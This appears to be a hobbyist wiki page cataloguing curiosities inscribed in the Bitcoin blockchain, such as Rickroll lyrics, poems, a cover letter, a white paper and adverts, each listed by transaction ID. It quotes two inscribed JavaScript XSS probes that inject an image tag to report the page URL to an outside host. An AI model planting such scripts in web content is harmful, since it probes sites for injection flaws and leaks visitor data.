Besides ASCII art, the huge majority of images is encoded with the AtomSea & EMBII system/format. All images in that system will be documented in that section.
Cool data embedded in the Bitcoin blockchain Rickrolling Updated 2025-07-14 +Created 1970-01-01
The first currently known instance is as a link right during the prayer wars on block 142573 (2011-08-25) as the miner message:which redirects to www.youtube.com/watch?v=mGDuExhS6Nw&blockchain
Militant atheists, bit.ly/naNhG2 -- happy now?"
Around block block 246k (e.g. 27b7c526489dac8245747fa1c425a2e3eb07dea57b294eb4ae583fec9b859fcf, 2013-10-17) we note several transactions starting with a XML format followed by lyrics also base64 encoded as part of the XML metadata. Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) was not able to identify the exact format either. At twitter.com/EMBII4U/status/1655831533750562816 EMBII mentions that this was part of an upload test.
<CG SZ="1156"><MG>... the first one being 0b4efe49ea1454020c4d51a163a93f726a20cd75ad50bb9ed0f4623c141a8008 As mentioned not very clearly at www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html#ref12 the content of the first <MG><payload></MG> is a Base64 encoded stringCatagory: Poetry
Title: Never Gonna Give You Up
Performer: Rick Astley
Writer: Mike Stock, Matt Aitken, Pete Waterman
Label: RCA Recordstx d29c9c0e8e4d2a9790922af73f0b8d51f0bd4bb19940d9cf910ead8fbe85bc9b (2013-11-13) contains a plaintext Rickroll lyric in an output script via OP_RETURN.
tx 15b11e8d4e5b9425f024b381ba0cb7a54a35e52389bb4855f505772ce685b39c (2014-06-24): starting from this transaction, the lyrics were inscribed several times via input scripts. Then again:They were mega obnoxious!!! Who does this kind of crap for more than one year!!!
- 8bb9db70e24202fdfd0e48b57a11a407e6c8c0e76d879634b801b4345b8810b2
- b881afa519804a3c93a3c99481517ca8ae070b84c04e8e7a2bfb808e043f9771
- 70c8405bd0ec10bea49b78a819dfbf46c1082e7e620588f9da65a90b71e52bbd
- fc4e382793757858bec4b87527caa4bf2e6f71bb2f5a77bb41a45ddb9ed9d409
- f011e71b711aa54a0c824244fff83fb8b1e1921804624fa0523a6e61612b7f6f
- a8691cdbca5b82e4e48812e48b7a09e4757801fd3909a09975de957d1bfb52dc
- d8946aa464be464674bba6d15729d75572ec75dda49fe7ff0ede1a25ca054941
- d02864cd57c9d041dbd9d6f24327f347b92697a8bc3c86cdf8b738063c6ad002
- 9b78962d840f1ff681e5042264e4d0359cda98ce49d97569df14ce956622b966
- 7bdc22fb35f0a8eb6241782a306a8904fb6f793126ff106a04a96f9f223cb8e1
- e24a4085c54a6362e615f8eab758c12d80e488b73757e6d2b8ab6bfc8be7007e
- 4257f4980955d8376ee1c6bccb4396da726e4ae13d758e47dc4e0775019723f5
- a09b49e9374d43386a6a986944e3dcf515c7e1c38324836df5333b8adbe57797
- 03096688dbb874f7c571691e4241a298284bf4184be339b148f1b48f383a1d7c
- 62f8b228b6126354736d36d9f3b91882bb81eca7702b74fba6471abc7db96a03 (2015-09-30)
Note that this is not the conventional starting point for gene numbering: Section "E. Coli genome starting point".
Contains a lot of different flag masks.
phenomena.nationalgeographic.com/2016/04/21/we-built-the-worlds-simplest-cell-but-dunno-how-it-works/ likely talks about it.
Stuff built on top:
Here are some exceptionally interesting text inscriptions that are not mentioned in other sections:
- Section "Genesis block message"
- tx 3a1c1cc760bffad4041cbfde56fbb5e29ea58fda416e9f4c4615becd65576fe7 (2013-04-10) has the broken Basic creature simulation mentioned at Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) section "A creature simulator in Basic" starting with:
10 REM The variables in life 20 ' life the lifespan of a creature 30 ' mates the number of mates a creature needs to breed - tx 61e26d407c17e8ee33a8b166c78f78c53cdcdc0078ae1f9405e6583cfb90eaf4, block 268081 (2013-11-05). This is a very interesting transaction, it contains inscriptions both on the input script and on the output script. On the input:On the output:
I should not run the washing machine while listening to WZBC. I managed to convince myself that the machine was slowly failing -- that a rythmic, squeaking noise it had been making had gotten a little worse. Ten minutes later, though, the machine had paused. But the noise was still there.
Feels like a Koan. I wish I knew who inscribed this.> Skynet went online on August 4th 1997, and began to learn at a geometric rate. > It became self-aware on August 29th 1997 2:14 am Eastern Time. On August 29th > 1997 2:15 am it discovered nihilism, and either shut itself down due to > despair, or because it was logical. We're not sure which. On August 4th, 1998, it failed to renew its domain name, which was promptly squatted on by a link farmer pitching X10 cameras and singing electric fish. - tx 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af block 305806 (2014-06-14) contains a blockchain explorer XSS detector that reports its location back to: www.trollbot.org/xss-blockchain-detector.phpSoon afterwards at tx a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 block 305809 there is a different version with slightly different escaping:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>Also of interest, the output script of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af is non standard and a provably unspendable Bitcoin output script. a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 however, although also non-standard, was spendable and was spent, further analysis at: Section "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af".<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href=' + location.href + '\'>');</script> - tx 713a6832365a68f71c6aee879f79b70e6e738cd6255f09bc41f204c81575c248 (2014-09-28) via cryptograffiti.info has the eleven rules of LaVevan Stanism starting with:
- tx 604f17dfdb5a88fc072bd2bcf53436087c899051241e519af7241dc0037d3df6 (2014-12-01) has a cover letter for a job at Hive Blockchain Technologies Ltd:At news.ycombinator.com/item?id=26826334 the supposed author mentions they didn't reply... sad. He did get to work for another Blockchain company though: www.ascribe.io, which eventually died. Presumably github.com/TimDaub.
Dear hive team, ever since I have discovered Bitcoin I have been a fan of your products. [...]. Sincerely, Tim Daubenschuetz
- tx 213e8f46f98e96f4f4d8b45bd3a1cbada14213796c200220e1e8c2b315988faa (2015-03-25)contains a full-text copy of: cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse (2015-03-27), includinga link to it. Two other copies appear in future transactions tx c863aa9d6aa9345e4abdc216b6f035c4276b4423a924bb2e1593c22c670cba6f and tx ba58caf1a27ab7ca627cc3efa5914e4d37e00b3a7e9cf29508d451dc3da00bf7
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
- tx 3405f441f0d3acd8580d261d58e5a14d7638d0ee29200e673f496198d231edd7 block 364852 (2015-07-11) and a nearby transaction on the same block 1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a via cryptograffiti.info contains a possibly novel long short story entitled:The first paragraph is:
How to Play Chinese Hats - A Short Story - 2015At the end we see a signature and a tipjar:Somehow, you find yourself in a dim and smoky room with no entrance, exit or windows, without knowing how you got there or even where you've come from. In front of you are a group of Chinese gentlemen shuffling around what looks to be traditional black Chinese hats styled after the Ming dynasty, on a circular chestnut wood table. Surprisingly, you find the same type of hat in your very own hand when you look down.
He did receive one tipin 2015 for 0.02590000 BTC: www.blockchain.com/explorer/addresses/BTC/1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGVRen @ 1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGV - tx 0b63ebfadcb7bb66bc2a4bc7b826587505eab0450ca64c376ac9912a00d35c54 block 371796 (2015-08-27) via cryptograffiti.info has a large text entitled with what seems to be a storm forecast:A Wikipedia page about the August 2015 event: en.wikipedia.org/wiki/Tropical_Storm_ErikaThe storm was formed "August 24, 2015", so this inscription was contemporary. Good friend, warning his fellow Bitcoiners.
Tropical Storm Erika was one of the deadliest and most destructive natural disasters in Dominica since Hurricane David in 1979.
- tx 4dd57f3e443ad1567a37beab8f6b31d8cb1328a26bac09e50ba96048ad07b8c1 (2015-09-03) via cryptograffiti.info contains a long porn comededy text in an Italian-like languge starting with:which translates to:
E il cazzo non entr
.And the dick doesn't fit
By dumping the transaction data, we actually see that the beginning was slightly missed due to a character encoding issue, the text actually starts with:followed by some non ASCII characters that we haven't yet been able to decode. It is not ISO_8859-1.BANG!
Ciro Santilli first thought it might beto be a dialect of Italian, or possibly Sicilian language given the presence of "sv" in the text, but an Italian friend says it is just Italian with several words cut in half, possibly for comedic effect. No pre-existing hits found on the web. - tx 24e137d5b478d9a8b947e4f3f6130a86f2e0f6a2dda1cac1373b485c577f8ba7 (2015-12-03) contains a tale of an Electrical Engineer vs a Software developer tale.Possible original: www.cs.brandeis.edu/~hornby/amuse/vs_toast.txt
- tx e2c20c2977589240ad9486672a0273d340ed5f8b50a50071716d12035d7212e8 (2016-01-31) has a large Lorem ipsum
- tx 5f62490ca4736da30da35ebc3f86156dbdb529dcb2f77cb8b0eb84868d567b00 (2016-05-05) via cryptograffiti.info contains a poem entitled:whichi is Dutch for;
Voor mijn jongere broeder
No Google hits, so possibly novel.For my younger brother
- tx 0809e7f31d074eefc0f1f02463a28b5238688aa73e6361c01cbc7b1848ac8d93 (2017-07-10) via cryptograffiti.info contains a white paper entitled:by Erich Ertsu from Coingaming Group (July, 2017). He was previously the creator of cryptograffiti.info This is the startup: www.crunchbase.com/organization/coingaming, previously at coingaming.io but now moved toyolo.com. The paper does not seem to be reproduced anywhere on the clearweb, the blockchain was its primary location of publication.
Disincentivizing Double-Spending by Making it Unprofitable
- tx e450166eba552202fb6984867f2b851e2399c5a0ae05026bf6b056176491ec5d (2017-03-11)
- tx 0f25e23b7b59fde67d8b2d41b749e4f89fd1ff8061aa0ddac8c27c8230167e35 (2017-08-18):Epic. The transaction sent:
A Crosschain transaction was sent in to your address in error. The transaction was 9174f24946496823e4edaf3fe1676a404164178d1c848fa476113bbe2f5b9463 . Please return to 1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV. Thank you in advance."
1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV never received anything back so far.- 0.23225200 to 1BqyRKHoLEKgHGUoDiFUEZu5jPaWeuCWWt
- 5.6 BTC to 1JG8EVTx1zWzDyctAD5fFuMt59TWkSw2dW
- tx 057954bb28527ff9c7701c6fd2b7f770163718ded09745da56cc95e7606afe99, block 666666 (2021-01-18):As highlighted at www.reddit.com/r/Bitcoin/comments/vxletr/message_was_embedded_in_block_666666/ the block number is a reference to the number of the beast. Later also posted on another Reddit thread: A Weird Message Was Embedded in Bitcoin’s 666,666th Block — Turns Out It’s a Bible Verse (2025)
Do not be overcome by evil, but overcome evil with good - Romans 12:21
TODO:
- 55a5d0c09ad5535711d649fdab394add3bb6e50cc2c49920cf0cb758ff0b69e8 via cryptograffiti.info contains what seems to be a ASCII table tracking train movements? Maybe from a train lover? But also curiously, it is GPG signed:Interesting.
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 time direction # covered #uncovered notes 11/11/2013 6:31pm E 4 1 csx 6243 11/19/2013 4:46pm E 3 0 csx 6215 11/19/2013 5:44pm W 4 0 Amtrak 11/21/2013 4:05pm E 0 0 csx 620686c1b7bd8bbdd8903355a8f6a408616621fd2ea4321b9aced778f388afe0b244 has something similar. - cc38d740dc1999a803dbba0c48a82af994861e0767f6bcd7d6ceebe4e66b4678 via cryptograffiti.info contains a pipe dream technical proposal idea entitled:
Attack-resistant decentralized time and location services via Nakamoto chain consensus.
- 5d9ef37e6beea5342ce1cb2681a7b465a542394aeda2b1e1fed00fab44b17833 via cryptograffiti.info contains a test of every character from 0 to 255, e.g. some of the readable characters are:d5f6614b4e3bdc611c8ad15f158163e48e1a1298ea5f5f9832ada8db6e2dd4b2 has something similar.
65: A 66: B 67: C 68: D 69: E 70: F 71: G 72: H 73: I 74: J 75: K 76: L 77: M - 0f96b2f6e3c4f4b6319efbafd2e7148d507b260b4d7914766e79aec7d9ac9574 via cryptograffiti.info has a long-ish message that looks like a software release note, not sure what it is about:
Truecrypt 7.1a ============== 2015-07-19 I am setting the filesizes and checksums of the last Truecrypt version (7.1a) in stone. - 206a0edb11ba0677248709d9bc5210b35e8a03710d9bb19c6f1e4e254bf21f5e via cryptograffiti.info has a letter to AGI:While cute, the author clearly underestimates the magnitude of singularity!
Dear Artificial Intelligence,
- cdbeb50c11b788fa4e67e00fb2e2607b129492a4a38bed0a9e31443a42e272a4 via cryptograffiti.info contains a semi-philosophical text that starts with:
When in the course of cosmic evolution,
- b55c3312ceeeb4ab422b658f5f4d5884775a498ddde6a527fca7b67752e1b044 via cryptograffiti.info contains some wedding vows starting with and GPG-signed:
- 3620da027df2e2e34ac9abe0123dcd7217fc5b8dec9921cbae258c640c7a6591 via cryptograffiti.info contains a neatly formatted UTF-8 ad with a link to: bitcointalk.org/index.php?topic=1033773.0The thread links to bcexchange.org/ which is dead as of 2024.
╭───────────────────────────────────────────────────────────────────────────╮ │ B&C EXCHANGE: A decentralized cryptocurrency exchange for everyone │ ┝━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┥ │ https://bitcointalk.org/index.php?topic=1033773.0 │ │ │ │ B&C Exchange will be an open-source decentralized exchange that completes │ │ cryptocurrency trades between users by utilizing multisig signers that │ │ compete for blockchain rewards based on their effectiveness and honesty. │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤ ┆ ▷▶▷▶ There are 10 days left in the auction! ◀◁◀◁ ┆ ╰───────────────────────────────────────────────────────────────────────────f93e128c59b357ca2d1b256eb1c4d991c488da460527ca0898dc789210073bd2 has another one:┏━━ UTF-8 is coming to CryptoGraffiti.info!!! ━━┓ ┠╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┨ ┃ I love you. Σ΄αγαπώ. ┃ ┃ Ma armastan sind. ┃ ┃ Aš tave myliu. Mä rakastan sua. ┃ ┃ Я люблю тебя. ┃ ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ - 140562ceb42fc8943fa52ccc0ddbb11ca2d88dae9b5240d7a4b46864538c515aTODO understand this part:
Reddit on the Bitcoin blockchain Test
The "Address" you see above is more than a bitcoin address? For example, the web address to this reddit thread is: https://www.reddit.com/r/Bitcoin/comments/3cdxep/reddit_on_the_blockchain_test/ Which converts to the bitcoin address of: 12uPLj6PSz6ULnZi1jXo7Ch1Je1SuqxRcE How? Because any text, like a web address, can be converted into a bitcoin address. www.reddit.com = 1MZCEUCtyJCDkNSLYbPVvAgf9V3CsEw3t www.google.com = 1JEZLaFciACHDEMVd3RXZzPmGcsWEwYQLr www.voat.com = 1JvCp9X5Bvvt2kz3EqP5ppkzX62sKgKbqr www.paystamper.com = 14wgeaWz2rKax8iVSWNFSrSsAYNeGyNdkt Duriel@paystamper.com = 1HcuhfTAiQCt6KdMG2rZLXsTcKYj9nLDhS - 940f41f5cc96182c1392c239d7570f94bd524e141ca0a88fdb154bd817049f83.bin via cryptograffiti.info contains some links to profiles controlled by a "Daniel Michael Abraham" www.linkedin.com/in/daniel-abraham-9432a798/. Other messages by him:
- 3d39024fa0cddfc529d4a41501df7a076f5bcf9a7a43f88f54a717e6df7f4770
- 088ebf7ffdef96b8fcac7eafa2ff6d04f295ea24f159e1ce4b7d47ed7b91b1f9
For now we are going to keep this site porn-free and only link to prevent bad things from happening, as it might violate GitHub porn policy depending on how it is hosted, and Google may dislike it. Video "What is more obscene: sex or war? scene from The People vs. Larry Flynt".
If illegal porn were to ever be found, we would be unable to acknowledge that, and would just have to silently remove it. Of course, the reproducible nature of Bitcoin Inscription Indexer means that anyone who regenerates the data would immediately see such entries in the diff.
Another issue is that it can be quite hard to determine if porn is legal or illegal, e.g. it can be hard to distinguish legal an illegal ages or revenge vs consensual porn, especially at the low resolutions that you may expect to find embedded in the blockchain. We are generally going to be quite strict about this, and in case of uncertainty on porn legality we will censor first.
OK the list:
- tx 4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754 (2016-07-09) contains an animated GIF of a woman pole dancing. She is seen from behind, in revealing blue clothes that show her buttocks. Reproduced at: twitter.com/cirosantilli/status/1755378949117370668. The file contains the following strings embedded into it:and:
This GIF file was assembled with GIF Construction Set from:
Alchemy Mindworks Inc.
This comment block will not appear in files created with a registered version of GIF Construction SetCryptograffiti.info messages now cheaper.
4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754.gif
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